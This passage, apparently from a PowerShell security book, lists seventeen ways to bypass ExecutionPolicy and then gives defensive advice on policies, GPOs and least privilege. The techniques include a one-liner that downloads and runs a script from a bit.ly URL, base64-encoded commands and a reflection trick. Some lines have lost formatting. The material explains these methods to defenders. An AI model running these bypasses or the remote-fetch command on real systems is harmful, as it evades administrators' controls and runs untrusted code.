To demonstrate this fact to you, we have included some examples to bypass the ExecutionPolicy. Some might need elevated rights, and some not:

#1 Execute the code from an Interactive PowerShell Console
Write-Host -Message "this is my evil script"

#2 Pipe the echoed script to PowerShell Standard In
Echo "Write-Host 'this is my evil script'"  | PowerShell.exe -noprofile 

#3 Read from file and pipe to PowerShell Standard In
#Example 1: Get-Content MyScript.ps1 | PowerShell.exe -noprofile 
#Example 2: TYPE MyScript.ps1 | PowerShell.exe -noprofile

#4 Download Script from URL and use IEX
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/e0Mw9w')"iex (New-Object Net.WebClient).DownloadString("http://bit.ly/e0Mw9w")

#5 Execute PowerShell with the command switch
Powershell.exe -nop -command "Write-Host 'this is my evil script'"

#6 Execute PowerShell with the enc switch

#Example 1: HowTo 
$command = "Write-Host 'this is my evil script'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

#Example 2: Execution
powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcAdABoAGkAcwAgAGkAcwAgAG0AeQAgAGUAdgBpAGwAIABzAGMAcgBpAHAAdAAnAA==

#7 Use the Invoke-Command command
invoke-command -scriptblock {Write-Host 'this is my evil script'}

#can also be executed remotely
invoke-command -computername localhost -scriptblock {get-executionpolicy} | set-executionpolicy -force

#8 Use IEX with previously loading the content into the cache
#Example 1: 
Get-ContentGet-Content MyScript.ps1 | Invoke-Expression
#Example 2: alias
GC MyScript.ps1 | iex

#9 Execute PowerShell.exe with the ExecutionPolicy switch to override the ExecutionPolicy -Bypass
PowerShell.exe -ExecutionPolicy Bypass -File MyScript.ps1

#10 Execute PowerShell.exe with the ExecutionPolicy switch to override the ExecutionPolicy -Unrestricted
PowerShell.exe -ExecutionPolicy UnRestricted -File MyScript.ps1

#11 Execute PowerShell.exe with the ExecutionPolicy switch to override the ExecutionPolicy - RemoteSigned#First sign your script with a self created cert - makecert.exe
PowerShell.exe -ExecutionPolicy RemoteSigned -File .runme.ps1

#12 Change the execution context by resetting the authorization manager
$context = $executioncontext.GetType().GetField('_context','nonpublic,instance'
).GetValue($executioncontext)
$field = $context.GetType().GetField('_authorizationManager','nonpublic,instance')
$field.SetValue($context,(New-Object –TypeName Management.Automation.AuthorizationManager -ArgumentList Microsoft.PowerShell)) 
.MyScript.ps1

#13 Set the ExecutionPolicy for the Process scope
Set-ExecutionPolicy Bypass -Scope Process

#14 Set the ExecutionPolicy for the CurrentUser scope via Command
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy Unrestricted

#15 Set the ExecutionPolicy for the CurrentUser scope via the Registry
ComputerHKEY_CURRENT_USERSoftwareMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell ExecutionPolicy REG_SZ Unrestricted

#16 Create the following ps.cmd and put it in your PATH:
POWERSHELL -Command "$enccmd=[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes((Get-Content '%1' | Out-String)));POWERSHELL -EncodedCommand $enccmd"

#17 Using a ScriptBlock
$scriptcontents = [scriptblock]::create((get-content '\serverfilepath.ps1'|out-string)). $scriptcontents

Does this mean that defining the ExecutionPolicy is useless? No.

The ExecutionPolicy can be seen as a compliance setting. Most normal users and admins would stop trying to execute PowerShell scripts when they see the error for the first time. And even for developers, the ExecutionPolicy makes sense, as they would only be able to execute validated and signed scripts, which prevents the accidental execution of modified and unvalidated scripts.

You should verify what user types and even dedicated computer types exist in your company. Most of the users should either be configured to Restricted or AllSigned. For developers and admins, the RemoteSigned configuration could make sense, as they want to create and debug PowerShell scripts on their machines. In enterprise environments, you will usually use GPOs to define the policies, which can be found in Computer Configuration | Administrative Templates | Windows Components | Windows PowerShell | Turn on Script Execution:

Keep in mind that there are user groups in your company of particular interest, which should also be monitored or controlled with more care. We start with a simple differentiation:

• Normal users
• Support desk users
• Developers
• IT admins
• Domain admins
• Users with local admin rights

Each of these might receive different policies and be monitored more or less carefully. On top of this consideration, you should also take a look at the Active Directory administrative tier model (https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material).

The connection points from lower tiers to higher tiers should be monitored especially carefully, and higher tiers should always be configured to be as restrictive as possible and/or use methods and technologies such as Just Enough Administration (JEA) and Just-in-Time (JIT). The intention is always the same, as you try to apply the rules for the Principle of Least Privilege wherever possible.